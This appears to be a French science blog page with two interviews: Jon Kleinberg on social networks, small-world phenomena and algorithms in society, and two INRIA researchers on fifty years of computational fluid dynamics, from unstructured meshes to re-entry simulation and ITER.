Publié le

Des réseaux sociaux

Un nouvel « Entretien autour de l’informatique » par Serge Abiteboul et Claire Mathieu, celui de Jon Michael Kleinberg. Jon est un informaticien américain, professeur à l’Université de Cornell, qui a considérablement contribué à l’étude des moteurs de recherche et des réseaux sociaux. Ses travaux sur le classement des réponses de recherche d’information ont été précurseurs d’algorithmes comme celui de PageRank à l’origine de la création de Google. Serge Abiteboul et Claire Mathieu l’interrogent pour Binaire sur le présent, le passé, et le futur de son domaine. Cet article est publié en collaboration avec TheConversation.
Jon Kleinberg à Cornell Univ. Photo pour Wide World par Michael J. Okoniewski.

B : Quel est ton domaine de recherche actuel ?

JK : Je travaille à l’intersection de deux domaines, d’une part l’algorithmique, et d’autre part les réseaux sociaux  et les réseaux d’information tels que le web et internet. Plus généralement je m’intéresse aux algorithmes, à leurs actions au sein de la société humaine, et à leurs applications aux problèmes de société.

B : Y a-t-il d’autres domaine de l’informatique qui interagissent avec ce domaine ?

JK : Ce domaine a des interactions fortes avec de nombreuses facettes de l’informatique. On peut citer l’apprentissage automatique, ou les systèmes distribués de grande taille. Ainsi, le modèle de calcul “Mapreduce” a été créé en partie pour gérer l’infrastructure de réseaux sociaux géants tels que Google ou Facebook. De plus, par leur nature même, ces systèmes dépendent de données sensibles, d’où l’importance de déterminer quelles informations sont révélées quand on se met à utiliser des données personnelles pour d’autres buts que ceux pour lesquels elles avaient été initialement obtenues. Cela soulève des questions dans le domaine de la sécurité et de la protection de la vie privée. Enfin, comme une part croissante de l’information se présente sous forme d’image ou de vidéo, nous avons de plus en plus d’interactions avec le domaine de la vision par ordinateur.

Représentation d’un réseau social

B : Quel est le rôle des universitaires dans cette transformation de la société par le numérique ?

JK : D’une part, de nombreux concepts introduits sur internet ces vingt dernières années sont au moins en partie le fruit de projets universitaires conduits par des enseignants-chercheurs ou des étudiants. Dans les premiers temps du domaine, la barrière technique à l’innovation était relativement basse, d’où un rôle important des universitaires. A un stade expérimental, les coûts d’introduction de nouvelles idées sont peu élevés, et cela favorise un cadre où de nombreuses personnes, à la fois motivées et techniquement talentueuses, peuvent tester des projets très divers, dans la plus grande liberté intellectuelle pour suivre les directions qui les intéressent et focaliser leur énergie sur ce qui leur semble prometteur. Le milieu universitaire est propice à cela, et les résultats ont une influence significative sur la société. Pour passer à l’échelle d’un milliard d’utilisateurs, cela devient plus coûteux, ne fût-ce qu’en termes de serveurs et de centres de données. C’est alors le rôle des entreprises de prendre le relais pour développer les idées des universitaires et en faire de grands succès financiers en les commercialisant.

D’autre part, un défi pour les universitaires informaticiens actuellement est de chercher des partenariats avec les disciplines qui ont déjà une tradition établie d’étude de ce type de questions, par exemple la sociologie ou l’économie. À la frontière avec l’informatique, il existe un terrain très prometteur de flux d’idées dans les deux sens.

Dans un sens, on voit que quand on développe une plate-forme telle que Twitter, penser aux aspects techniques ne suffit pas ; il est indispensable de réfléchir aussi à ce qui se passe lorsqu’un nombre important de personnes se mettent à utiliser cette plate-forme, ainsi qu’aux conséquences économiques, qu’elles soient fortuites ou intentionnelles.

Dans l’autre sens, j’aime à croire que les spécialistes de ces disciplines ont des choses à apprendre de nous. En sociologie en particulier, traditionnellement l’acquisition de données sur le fonctionnement des groupes de personnes est une difficulté majeure du domaine, parce que cela requiert des observations, et donc des interactions de personne à personne. Désormais, avec Facebook par exemple, on a accès à des interactions extrêmement riches, à un niveau de détail extrême, et à grande échelle. Pour étudier un problème de sociologie, l’analyse des données de Facebook à beaucoup à enseigner sur les interactions entre les individus, même si on ne comprend pas vraiment ce que chaque interaction signifie. Comment reprendre les questions sophistiquées traditionnellement posées par des sociologues à un petit nombre d’individus, et les faire passer à l’échelle des données sur internet ?

Un exemple d’un tel travail : le phénomène de petit monde dans les graphes. Considérons  la question des degrés de séparation qui nous séparent les uns des autres. « Les six degrés de séparation » est une propriété suggérée par le Hongrois Frigyes Karithy dans une de ces nouvelles datée de 1929 qui évoque la possibilité que toute personne sur le globe puisse être reliée à n’importe quelle autre, au travers d’une chaîne de relations individuelles comprenant au plus six maillons. Il est plus facile de raisonner sur ce problème de façon qualitative que quantitative, ce qui peut expliquer pourquoi ce thème a d’abord fait surface dans la fiction. Puis, dans les années 60, Stanley Milgram, qui avait un talent pour la conception d’expériences en sciences sociales pour tester des phénomènes dont tout le monde avait une compréhension intuitive mais qu’on ne savait pas formaliser, a conçu la célèbre expérience “six degrés de séparation” étudiant le cheminement de lettres jusqu’à leurs destinataires. C’est là un bon exemple d’un travail expérimental qui était très difficile à faire avant internet. Il découvrit que la médiane du nombre d’étapes dans le chemin était de six, ce qui, grâce à l’auteur de pièce de théâtre John Guare, est devenu connu sous le nom de “six degrés de séparation”. Deuxième apparition de travail de fiction dans l’histoire de ce problème, car c’est sa pièce de théâtre, puis le film qui en a été tiré, qui ont popularisé ce phénomène.

Plus tard, dans le domaine des mathématiques, Watts et Storgetz ont proposé un modèle de graphe aléatoire, et c’est par leur travaux que j’ai été amené à m’intéresser au problème. Je souhaitais particulièrement l’étudier du point de vue algorithmique, auquel les gens n’avaient pas prêté attention jusqu’alors. En fait, l’expérience de Milgram a montré deux propriétés distinctes : premièrement, qu’il existait des chemins très courts entre la plupart des paires de points dans un graphe aléatoire ; et deuxièmement, que les gens étaient capables de découvrir ces chemins. Notons que Milgram n’aurait jamais découvert cette deuxième propriété s’il avait simplement eu accès à des données massives et à de puissants outils de calcul : il lui aurait suffi de faire un calcul de plus courts chemins, court-circuitant la deuxième propriété. Parfois, le manque de ressources nous oblige à faire des études plus intéressantes que ce à quoi on aurait pensé sinon ! Enfin, depuis 2005 ou 2006, l’explosion soudaine des réseaux sociaux a permis d’étudier les données qui ont alors émergé et de vérifier certaines des prédictions précédentes.

Représentation des 6 degrés par Daniel’ (User:Dannie-walker)

B : Comment t’es-tu retrouvé à faire de l’informatique ?

JK : Enfant, j’aimais les maths. Jeune adolescent au moment de l’arrivée de l’ordinateur personnel Apple 2, j’écrivais des programmes de jeux que je partageais avec mes amis du collège, et étais toujours à la recherche d’idées de jeux qui intéresseraient mes amis. Cette découverte de l’informatique par la programmation des ordinateurs personnels est typique de ma génération. La discipline scientifique informatique était déjà bien développée, mais nous n’en étions pas conscients. Pour les générations antérieures, les ordinateurs étaient peu accessibles ; pour les suivantes, il est devenu évident que l’informatique était une discipline. Étudiant, j’étais parti pour étudier les maths, mais j’ai suivi en première année de licence un cours d’introduction à l’informatique. Je me suis alors rendu compte qu’il était possible de marier mes deux intérêts, les maths et la programmation. C’était passionnant de découvrir le raisonnement mathématique appliqué à la programmation, et l’informatique était un sujet que je pouvais étudier sans être pour autant obligé d’abandonner les maths.

B : Ton domaine de recherche actuel existait-il alors ?

JK : On peut toujours mentionner des articles isolés, mais en tant que domaine de recherche identifié comme objet d’étude, cela n’est apparu que lorsque j’étais en doctorat. Le catalyseur a été l’adoption massive du web par le grand public, entre 1993 et 1997. Le web s’est transformé, d’une simple application pour partager des fichiers sur internet, en quelque chose que tout un chacun utilisait quotidiennement. Les informaticiens se sont alors rendu compte qu’il ne suffisait plus, comme auparavant, de construire des systèmes d’exploitation, des compilateurs, et des raisonnements logiques pour les analyser, mais que désormais il était indispensable de prendre en compte le comportement des millions d’utilisateurs sans lesquels le web lui-même n’existerait pas.

B : Quels en ont été les conséquences en dehors de l’informatique ?

JK : Bien évidemment, il y a eu des changements dans la vie quotidienne, dont sont conscients tous ceux qui ont vécu les années 90. Nous avons désormais des outils qui nous permettent, dès qu’on a une question factuelle, d’obtenir la réponse quasi immédiatement. Cela nous semble maintenant normal, mais ça n’existait pas dans les années 80. Deuxième conséquence, alors qu’autrefois seules quelques personnes avaient la responsabilité de produire et partager l’information dans des médias traditionnels, désormais ce sont des centaines de millions de personnes qui produisent et partagent l’information. Du coup, chacun doit désormais adopter une démarche similaire à celle de la recherche académique, en évaluant l’information, en comparant des sources différentes sur un même sujet, en tenant compte des objectifs probables et des biais potentiels de ceux qui ont écrit l’information. Par exemple, allez sur internet et recherchez combien de temps des restes de poulet peuvent se garder dans un réfrigérateur. La diversité des réponses est phénoménale. On peut trouver un blog avec une opinion très tranchée sur la question, mais on ne sait pas si l’auteur est crédible, une page sur le site d’une entreprise d’agro-alimentaire, mais on ne sait pas si on peut leur faire confiance, une page sur le site du ministère de la santé, mais on ne sait pas exactement d’où ça sort. Ainsi, toutes ces sources prétendent une expertise qu’on n’a pas moyen d’évaluer, ils tentent tous de répondre à la même question, et les résultats sont tous différents. Ce genre de choses, on le voit tous les jours.

Historiquement, les choses ont commencé à changer dans les années 90, quand les gens ont commencé à mettre des informations sur le web ; ça s’est accéléré avec Wikipédia, puis, entre 2004 et 2006, le monde de l’information a changé. Les grandes plateformes que nous utilisons maintenant, Facebook, Twitter, YouTube, sont toutes apparues au cours de cette période très brève. Il y a eu une convergence de progrès technologiques qui ont facilité l’accès à internet pour y mettre des informations de façon collaborative, et les gens se sont mis à sortir de derrière l’écran de leurs pages web et à interagir plus directement les uns avec les autres. Dans les années 90, même après la démocratisation du web, il s’agissait fondamentalement encore de lecture de documents, alors que depuis 2006, il s’agit plus d’interaction avec des personnes. Cela a modifié les attentes. Maintenant, s’il se passe quelque chose quelque part dans le monde, je me connecte à un réseau social, et j’ai immédiatement accès aux réactions de dizaines de milliers de gens. Dès qu’il arrive quelque chose, un désastre naturel par exemple, on va tout naturellement sur Twitter et on voit les réactions en temps réel. Les mêmes questions se posent alors : ces informations sont-elles crédibles ? Adopter la démarche de la recherche académique traditionnelle ne suffit plus, car il s’agit maintenant de discerner la vérité à partir de centaines de milliers de minuscules fragments de réactions. C’est encore plus compliqué !

Souvent, on compare la période présente à la constellation d’activités nouvelles aux début du 16e siècle (dont la création du Collège de France) liées à la démocratisation de l’information. L’ensemble des personnes qui avaient accès à l’information s’est élargi, et le type d’informations auxquelles ils avaient accès s’est considérablement élargi. Il y a eu une combinaison de facteurs comme la diffusion de l’imprimerie, la diminution de l’analphabétisme, ou le changement dans l’organisation du système éducatif. Tout cela a modifié les conditions de création et dissémination de l’information. Incorporer ces changements a été un défi pour la société de l’époque ! Il me semble que nous sommes maintenant confrontés à un défi analogue.

B : Le prix MacArthur que tu as reçu a-t’il eu un impact significatif sur ta carrière ?

JK : J’ai obtenu ce prix en 2005, juste au moment de la soudaine émergence de très grands réseaux sociaux. Auparavant, j’avais travaillé sur la conception et l’analyse d’algorithmes de recherche sur le web, et il semblait que ces grands réseaux sociaux posaient des questions importantes, mais difficiles à formaliser puisqu’il s’agissait de s’aventurer dans le monde extérieur à l’informatique. Le prix MacArthur m’a donné une impulsion pour travailler à définir une direction de recherche qui ait à voir avec ces nouveaux développements, et à penser aux conseils à donner aux étudiants débutants. Ainsi, parmi les étudiants que nous avons formés, on peut citer Haggstrom, qui a rejoint Facebook en 2009, et qui est maintenant vice-président de l’ingénierie responsable du classement des articles : d’une certaine manière, on peut tracer un chemin allant du prix MacArthur jusqu’à ces développements.

B : As-tu des regrets ?

JK : J’ai eu beaucoup, beaucoup de chance avec mes collaborateurs et avec nos sujets d’étude. J’ai appris de mes mentors, de mes collaborateurs, de mes étudiants, et c’est extraordinaire que de faire ainsi partie d’une communauté scientifique. Si je devais avoir un regret, ce serait celui des occasions manquées, lorsque j’ai hésité à me lancer sur un nouveau sujet, parce que je craignais que le sujet ne soit pas assez mûr, trop mal défini, pas assez sérieux. Je n’ai jamais regretté de m’être lancé trop tôt sur quelque chose.

B : Comment imagines-tu l’avenir de ton domaine ?

JK : Un problème important du domaine est de comprendre comment ces systèmes influencent le comportement de ces individus. Quand on regarde Facebook, on a tendance à s’imaginer qu’on contemple le comportement d’êtres humains dans leur état naturel, mais en réalité, il y a des algorithmes sous-jacents qui régulent leurs interactions. Ainsi, les résultats des recherches sur Google orientent les choix ultérieurs, et les articles qu’on consulte sur Facebook dépendent de ceux qu’on voit, et cela est déterminé par des algorithmes. Dans de telles situations, on n’a actuellement aucune notion de l’impact des décisions de conception d’algorithme sur les utilisateurs de la plate-forme. C’est un problème grand ouvert, et rendu plus compliqué encore par la boucle de rétroaction. Par exemple, en ce qui concerne les habitudes des consommateurs, l’algorithme de recommandations est entraîné à partir des décisions passées des consommateurs, mais bien évidemment les décisions ultérieures des consommateurs sont à leur tour influencées par ce que l’algorithme décide de leur montrer, et il y a ainsi une boucle infinie de rétroaction, où les décisions de l’algorithme dépendent des décisions des utilisateurs, et vice-versa. Avec ce type de boucles de rétroaction, nous ne comprenons pas vraiment ce que font nos algorithmes, et ce phénomène est présent partout dans le monde de l’internet, qui lui-même interagit avec le monde réel.

Plus largement, ceci conduit au deuxième domaine où nous avons un besoin urgent de travaux de recherche : le rôle des algorithmes dans les décisions de nature politique, de protocole ou de règlementation. Des experts ou groupes d’experts prennent des décisions qui ont des conséquences sur la vie des personnes ordinaires, par exemple liées à l’embauche, à la justice, ou à la médecine avec des recommandations de traitements. Ces décisions ont des conséquences significatives sur la vie d’individus. Il y a probablement là une place pour des algorithmes qui pourraient aider à réduire le nombre de décisions erronées, mais c’est là un grand défi.

B : Quelle formation envisages-tu pour les informaticiens de demain ?

JK : À l’université de Cornell, nous tentons d’incorporer à notre enseignement dans notre formation d’ingénieur des concepts issus d’autres disciplines. Par exemple, pour concevoir notre cours sur les réseaux informatiques, nous sommes partis de la question suivante : quels sont les concepts des sciences sociales utiles à savoir pour la conception d’applications massives sur internet, et qui peuvent être enseignés en un semestre ? Cela nous a conduit à centrer notre cours sur les idées techniques et mathématiques à la frontière entre sciences sociales et systèmes technologies. Plus récemment, conscients que nos étudiants, dans leur vie professionnelle, construiront des systèmes informatiques qui auront un impact sur un segment de plus en plus large de la société, nous avons introduit un cours qui donne aux étudiants du cursus d’ingénieur des connaissances de base sur l’éthique et les grandes questions générales en matière de droit.

Inversement, même pour les étudiants non-informaticiens, il est de plus en plus important de connaître les idées de base de l’informatique et de comprendre les principes de fonctionnement des nombreux systèmes qu’ils utilisent dans leur vie quotidienne. De plus en plus, ils seront responsables de l’évaluation d’argumentaires basés sur des données, et doivent être capables de raisonner sur les aspects fondamentaux de la science des données et de l’apprentissage statistique.

Bien entendu, ces sujets ont vocation à être enseignés de plus en plus tôt dans le cursus éducatif. Nous connaissons l’évolution de sujets enseignés d’abord en 3e cycle, puis en licence, et enfin dès le lycée : les notions de base de l’informatique en sont un bon exemple.

Personnellement, je pars de l’hypothèse que, dans presque tous les domaines, il y a des connaissances importantes à acquérir. Il y a de plus de plus de choses à apprendre, et elles ont toutes leur importance, mais nous ne disposons que d’un temps fini pour apprendre. Pour gérer ce paradoxe, on pourrait compresser et mélanger les disciplines, et c’est en ces termes que j’essaie de penser nos formations, plutôt que de faire le choix d’écarter un champ disciplinaire spécifique.

B : Aurais-tu un conseil à donner à une jeune étudiante ou un jeune étudiant en informatique ?

JK : En général, il est préférable de se laisser guider par ce qui nous intéresse plutôt que parce ce que quelqu’un d’autre juge intéressant. Il y a tant de questions qui ouvrent des directions passionnantes que parfois on ne sait trop laquelle choisir, et nous sous-estimons souvent la largeur de spectre couvert par l’informatique ainsi que la rapidité à laquelle les nouveautés se développent. Si vous êtes en fin de licence ou de mastère, il se peut tout à fait que certaines questions vous “branchent” mais que vos enseignants ne soient pas aussi conscients du sujet que vous-même. Mais ce n’est pas parce qu’une question est trop nouvelle pour faire l’objet d’un cours que ce n’est pas un bon sujet d’étude, au contraire ! Il est tout à fait possible que ce soit précisément les questions importantes à étudier maintenant. L’histoire des développements de l’informatique le démontre.

Serge Abiteboul, Inria & ENS Paris, Claire Mathieu, CNRS, Paris, et Collège de France

Publié le

Les fluides : une histoire de calcul scientifique

Quel est le point commun entre les battements de mon cœur, un avion qui vole grâce à ses réacteurs et l’évacuation d’une salle de cinéma ?  C’est ce que vont nous expliquer Jean-Antoine Désidéri et Alain Dervieux (Inria, Sophia Antipolis Méditerranée) en nous accompagnant  à travers un demi-siècle de calcul scientifique, du point de vue de l’étude des fluides. Pascal Guitton et Thierry Viéville.

Bonjour, vous êtes des spécialistes de calcul scientifique et de mécanique des fluides numériques. Pourriez-vous nous préciser le contour de ces disciplines ?

On peut dire que tous les scientifiques s’impliquent dans une forme de “calcul sur ordinateur”, mais classiquement on emploie le terme de calcul scientifique (et celui de numéricien·ne pour celles et ceux qui le pratiquent) pour désigner les activités de modélisation physique, mathématique et informatique de systèmes complexes issus de la physique théorique ou de l’ingénierie.

Les équations qui régissent l’évolution temporelle de ces systèmes sont dites « équations différentielles » et celles qui tiennent compte aussi des aspects spatiaux sont dites « équations aux dérivées partielles« . Calculer des solutions approchées de ces équations aux dérivées partielles est l’objet de la simulation numérique. Le problème doit être réduit à un nombre raisonnable d’inconnues. Pour cela, on construit un maillage en décomposant l’espace en un assez grand nombre de petits éléments géométriques. Chaque élément porte les valeurs locales des inconnues. L’art du numéricien consiste à établir des relations entre ces inconnues de manière à approcher finement l’équation aux dérivées partielles.
Lorsque ces méthodes sont appliquées à la simulation d’écoulements de fluides (liquides, gaz, plasmas), on parle de mécanique des fluides numérique.

Vous avez rejoint l’INRIA au début des années 80. Quelle y était alors la situation du calcul scientifique ?

En mathématiques appliquées, la culture scientifique était celle des Éléments Finis (EF) et de la Théorie du Contrôle. Sur ces sujets, l’INRIA entretenait un lien très étroit avec l’Université Pierre et Marie Curie (Paris 6) et l’École Polytechnique notamment grâce à l’implication des Professeurs P.G. Ciarlet, R. Glowinski, J.L. Lions et P.A. Raviart. Ce lien est toujours vivace, mais bien d’autres ont été créés depuis, comme en témoigne la diversité thématique d’Inria aujourd’hui.

Nous allons nous concentrer sur les thématiques de la simulation et aborderons peu ici les thématiques du contrôle qui sont pourtant très importantes, notamment pour leurs applications à la robotique.

Dans cet environnement, en matière de simulation, le calcul scientifique côté INRIA était porté par trois équipes-projets. L’une développait une bibliothèque de calcul par éléments finis très généraliste, bien que fortement orientée vers la problématique de la mécanique du solide, typiquement le calcul des structures (utilisés par exemple pour construire un pont, un avion…). L’autre développait des méthodes par éléments finis pour la simulation des ondes et les problèmes inverses, notamment en recherche pétrolière. La troisième se focalisait sur la méthodologie numérique, et comportait un volet particulier en mécanique des fluides. Nous sommes des héritiers plus particulièrement de cette équipe, alors dirigée par R. Glowinski qui est associé aujourd’hui à l’Université de Houston.

En mécanique des fluides, le développement numérique portait sur les équations de la vitesse de ce fluide. Une réalisation particulièrement marquante a été le calcul d’un écoulement aérodynamique tridimensionnel autour d’un avion complet sur un maillage de quelques milliers de points, en collaboration avec Dassault-Aviation:

 Écoulement potentiel autour d’un avion complet en maillage non structuré [1]. Cliquer pour zoomer.

En calcul scientifique, une estimation des capacités d’un code est fournie par le nombre de points de maillage qu’il permet de traiter en une nuit avec le plus puissant ordinateur disponible. Début 80, grâce au calcul vectoriel (ordinateur Cray), les “gros calculs” sont passés de quelques dizaines de milliers de points à plusieurs millions.

Quelle était la motivation à poursuivre des recherches en mécanique des fluides numérique et quels étaient les sujets difficiles de l’époque?

En mécanique des fluides, la méthodologie dominante (notamment utilisée à la NASA ou à l’ONERA en France) était issue de techniques classiques d’approximation des équations continues par des calculs pas à pas, dit aux différences finies (DF). Ces schémas d’approximation sont simples à construire, et se généralisent aisément. Pour des objets courbes, il faut construire au préalable d’un maillage régulier, qui est ensuite déformé.

On parle de maillage régulier ou structuré quand les sommets des facettes sont organisés de façon structurée (par exemple avec uniquement des parallélépipèdes) et qu’il est donc possible de les stocker et de les traiter avec une matrice. Une règle de construction simple permet alors d’obtenir les positions des sommets et l’organisation des facettes.
Dans le cas contraire, le maillage a une forme libre, ce qui est plus souple mais plus lourd à manipuler.

Cette approche se justifiait tant qu’on abordait des problèmes de mécanique des fluides pour des géométries relativement simples. Mais avec l’ambition impérieuse de l’industrie aéronautique de traiter le “problème mythique » de l’avion complet, c’est-à-dire de résoudre les équations de la mécanique des fluides dans le domaine tridimensionnel défini par l’extérieur de la véritable géométrie d’un avion (sa forme), il fallait adopter une autre démarche. Le défi technologique a été de générer d’un maillage non structuré, plus souple, avec moins d’éléments tout en conservant la même précision. Par contre, cette perte de structuration dans le maillage entraine d’avoir à stocker dans l’ordinateur un grand volume d’informations pour connecter des points avec leurs voisins. Au tout début, ce stockage était en butée avec les limites de mémoire des ordinateurs dont nous disposions. Mais la communauté française des mathématiques appliquées avait aussi changé de méthode de calcul: la méthode des éléments finis que nous citions se rattache aux maillages non structurés. Ce travail sur les méthodes numériques en maillages non structurés fut pionnier.

Simultanément, la communauté internationale cherchait à développer des schémas d’approximation plus sophistiqués pour ces problèmes afin de traiter de manière plus savante les cas où les solutions attachées à ces problèmes devenaient singulières: lors de chocs. Un choc est une discontinuité dans la solution. Par exemple, lorsqu’un avion franchit le « mur du son’’, il crée un saut de pression qui peut gravement endommager le tympan. En régime de croisière d’un avion de transport moderne présente un saut de la pression de l’air, un choc sur la voilure, à la limite. L’optimisation aérodynamique consiste pour une grande part à réduire l’intensité de ce choc. Mais avant d’optimiser, il faut développer la capacité de simuler l’écoulement avec précision, donc à capturer les chocs.
En cette matière, un schéma dit conservatif permet de calculer avec précision les sauts des grandeurs physiques au travers d’un choc. Cependant, généralement, la solution numérique présente aussi localement des oscillations parasites qu’il convient de maitriser au mieux. Ces questions sont centrales en matière d’équations aux dérivées partielles pour la mécanique des fluides.
Certains de nos collègues comme Harten et van Leer ont proposé des solutions numériques qui présentent moins d’oscillations parasites. Un défi pour nous était alors de construire de tels schémas dans notre contexte avec les éléments finis et les maillages non structurés. Un autre défi – toujours d’actualité – était de développer des techniques de résolution les plus économiques possibles en mémoire et temps calcul, afin d’aborder efficacement des problèmes de grande taille. Nos efforts ont porté sur la stabilité des schémas de calcul numériques. Nous sommes heureux d’avoir pu  contribuer à étendre ces méthodes et de les partager très largement en enseignant à travers l’Europe, comme à l’Institut Von Karman de mécanique des fluides de Bruxelles.

Écoulement supersonique autour d’un cylindre; approximation de type volumes finis en maillage non structuré adapté à l’écoulement [2]. A gauche le maillage utilisé vu d’ensemble (en haut) et détaillée (en bas). À droite on représente le flot du fluide. Cliquer pour zoomer.

Pour illustrer cela, observons grâce à la figure un cas-test dans lequel les équations d’Euler (fluide compressible) ont été résolues en deux dimensions d’espace dans le domaine extérieur à un cylindre. Ces résultats sont tirés d’un atelier international tenu à Rocquencourt en 1985. C’est un écoulement supersonique, à Mach 3, autour d’un cylindre, de gauche à droite. On voit devant le cylindre une ligne de choc au niveau du flot et on voit à gauche que le maillage s’est adapté au mieux au phénomène observé. Derrière le cylindre, la zone triangulaire est de vitesse nulle (on parle d’eau morte), et dans le sillage du cylindre l’écoulement s’accompagne d’autres phénomènes complexes.

Nos techniques d’approximation en maillage non structuré avaient alors permis, grâce à l’adaptation de maillage par déplacement des nœuds et division des éléments, de mettre en évidence de telles structures physiques avec précision.

Vous avez donc atteint dans les années 80 une certaine maîtrise des schémas d’approximation de type volumes-finis en maillages non-structurés. Quelles ont été les évolutions dans la décennie suivante?

La décennie 90 a été marquée par l’extension des méthodes de simulation à des cas de physique des fluides plus complexes, notamment motivés par certains programmes spatiaux européens. Le programme de fusée Ariane a soutenu une activité de recherche dans le domaine de la combustion. Dans certains laboratoires du CNRS, la recherche a porté sur la modélisation physique des phénomènes. À l’INRIA et dans d’autres laboratoires, les méthodes d’approximation ont été étendues pour traiter la cinétique chimique liée à la combustion, et le suivi de solutions instationnaires (propagation de flammes).

Le projet européen de navette spatiale Hermès a été un formidable moteur pour la recherche et le développement en matière de modélisation physique, d’expérimentation en soufflerie, de modélisation mathématique et de simulation numérique. Il a regroupé une soixantaine de laboratoires travaillant en émulation sur un ensemble de problématiques liées aux défis que soulève la validation du calcul des caractéristiques de vol de rentrée atmosphérique de l’engin. Sans être exhaustif, ni trop détaillé, notons au moins deux types de phénomènes physiques qui ont motivé l’extension des méthodes standards de simulation numérique en mécanique des fluides

  1. l’atmosphère raréfiée à très haute altitude, disons 80 km;
  2. les gaz hors équilibre thermodynamique, avec un point critique à 75 km d’altitude.

En atmosphère raréfiée, les modèles de mécanique des fluides sont de nature statistique. Cette situation a justifié le développement d’outils de simulation d’évolution d’un gaz hors équilibre (équations de Boltzmann), notamment en utilisant des méthodes aléatoires (simulation par la méthode de Monte-Carlo), ou ne pouvant décrire exhaustivement les éléments, on les sélectionne au hasard et de manière pertinente.

En pénétrant les premières couches de l’atmosphère lors de la phase de rentrée, l’engin est encore à très grande vitesse (25 fois la vitesse du son, soit 7 km/s). L’intensité du choc en amont du nez arrondi est alors suffisante pour dissocier les molécules d’air et le fluide est le siège d’un phénomène chimique qui absorbe en partie seulement le choc thermique. Pour cette raison, la paroi de l’engin est revêtue de dispositifs de protection spéciaux, dont les fameuses tuiles de la navette spatiale américaine. Plus généralement, le fluide, dans la couche de choc, subit différentes formes de déséquilibre thermodynamique. Dans l’enveloppe de vol de la navette, le point le plus critique vis-à-vis du choc thermique survient à 75 km d’altitude. Dans la simulation, on doit alors compléter les équations de la mécanique des fluides (équations de Navier-Stokes) par d’autres équations aux dérivées partielles dont chacune modélise une variable physique en déséquilibre, et tenir compte de manière complexe du mélange gazeux. Pour “valider” les calculs qui en résultent, il faut confronter les codes numériques entre eux, c’est la “vérification”, et les résultats de codes à ceux d’expériences en soufflerie. Cette validation est particulièrement difficile car en laboratoire, on ne peut reproduire la totalité des conditions du vol réel, et on procède par vérifications croisées de vérification et validation. Pour illustrer cette problématique, on montre ci-dessous un calcul de température autour d’une géométrie de double-ellipse utilisée pour représenter la partie avant de la navette.

Écoulement hors-équilibre chimique du mélange gazeux autour d’une double-ellipse; à droite un zoom du champ de température [3]. Cliquer pour zoomer.

Outre les simulations de physique des fluides complexes, on a vu apparaître des simulations couplant plusieurs physiques, chacune associée à un modèle relativement classique. Notons en particulier les simulations de couplage fluide-structure dont voici une illustration :

Maillage tridimensionnel d’environ 100,000 points utilisé pour le calcul couplé fluide-structure d’un écoulement dans un inverseur de poussée du réacteur d’un avion de ligne. L’axe du réacteur de forme cylindrique se distingue en bas. L’écoulement va de gauche à droite. À droite, son chemin est barré par la cloison verticale. Il est à nouveau dévié vers la gauche par le volet élastique bleu dont on observe la forte déformation. Le but de l’étude était d’analyser la vibration parasite de ce volet. (R. Lardat, B. Koobus, E. Schall, A. Dervieux C. Farhat: Analysis of a possible coupling in a thrust inverter, Revue Européenne des Eléments Finis, 9:6-7,2000). Cliquer pour zoomer.

De votre point de vue quelles ont été les principales avancées méthodologiques de votre domaine apparues dans les années 2000?

Les grands programmes spatiaux précédemment cités étaient nés de la volonté des autorités de maintenir la communauté scientifique européenne à un niveau scientifique et technologique compétitif au plan international. Au tournant du siècle cette volonté est devenue moins impérative, et les soutiens à la recherche appliquée ont davantage été trouvés dans le cadre des projets et réseaux de la commission européenne, notamment en aéronautique civile, à nouveau.

Les innovations méthodologiques les plus marquantes concernent les schémas d’approximation des calculs et les problématiques d’optimisation pour trouver les meilleures solutions approchées.

Mais c’est aussi l’ouverture de ces méthodes vers des applications hors du champ de la Défense Nationale : notamment en biologie, par exemple dans une  action collaborative entre plusieurs équipes sur la modélisation de l’activité cardiaque (CardioSense). Voici une illustration de la simulation de l’onde électrique dans le cœur.

Onde électrique dans le cœur, premiers travaux dans le cadre du projet Icema : on modélise la diffusion entre deux domaines avec leur  potentiel électrique, en tenant compte de la structure membranaire permettant les échanges ioniques (Y. Coudière, 2000). Cliquer pour animer.

Voici maintenant la représentation d’un écoulement visqueux autour d’un profil très effilé. Ce calcul (récent) allie une méthode ancienne dite d’approximation de Galerkin discontinue combinée à une technique de représentation par des petites portions de courbes.

 
Écoulement autour d’un profil d’aile par la résolution des équations de la mécanique des des fluides (R. Duvigneau, 2017). Cliquer pour zoomer.

Ces progrès réalisés, quelles sont les tendances actuelles dans vos domaines de recherche ?

Tout d’abord, on observe une prise en compte de plus en plus systématique des incertitudes et de l’utilisation du hasard dans plusieurs types d’approche, pour résoudre les équations avec des approximations qui utilisent des tirages aléatoires.

Par ailleurs, on note également le haut degré de sophistication atteint aujourd’hui par les générateurs de maillages, et les logiciels d’adaptation. On note aussi dans ce domaine des progrès notoires dans l’étude de phénomènes avec des ruptures ou des changements rapides. Pour illustrer ce dernier point voici une animation montrant l’évolution d’un maillage tridimensionnel modélisant une zone urbaine dans laquelle se produit une détonation.

Maillage évolutif suivant une onde de détonation en milieu urbain (F. Alauzet, 2017). Cliquer pour animer.

Voici maintenant une illustration des progrès réalisés en matière d’approximation, y compris dans ces cas instationnaires, et du volume de calcul que l’on peut traiter sur nos architectures. Il s’agit d’un problème classique de résolution d’instabilité atmosphérique (dit de Kelvin-Helmholtz). Les équations de la mécanique des fluides sont résolues avec 4 millions de degrés de liberté sur une architecture machine à 256 cœurs. Le schéma d’approximation dont on a besoin est sophistiqué et le calcul dure 3 jours.

Calcul d’une instabilité de Kelvin-Helmholtz (R. Duvigneau, 2017). Cliquer pour animer.

Notons également l’implication d’une vaste communauté interdisciplinaire (physiciens et mathématiciens) dans le grand projet international ITER pour mettre au point un équipement mettant en oeuvre une fusion nucléaire. Au niveau du calcul, il s’agit de résoudre des équations de magnéto-hydro-dynamique, qui combinent plusieurs domaines de la physique. Voici une illustration de cette activité et les moyens informatiques développés actuellement. En haut les travaux de M. Becoulet. En bas les travaux de M. Futanami.

Résolution des équations de magnéto-hydro-dynamique, dans le cadre du Projet ITER (B. Nkonga, 2016). Le flux magnétique, le courant, le tourbillon, le potentiel électrique, la vitesse parallèle, la densité, et la température sont prises en compte. Le plasma est en rotation dans le Tokamak (illustration du haut). Ce plasma est notamment contrôlé par un dispositif situé en bas de l’anneau (illustration du bas).

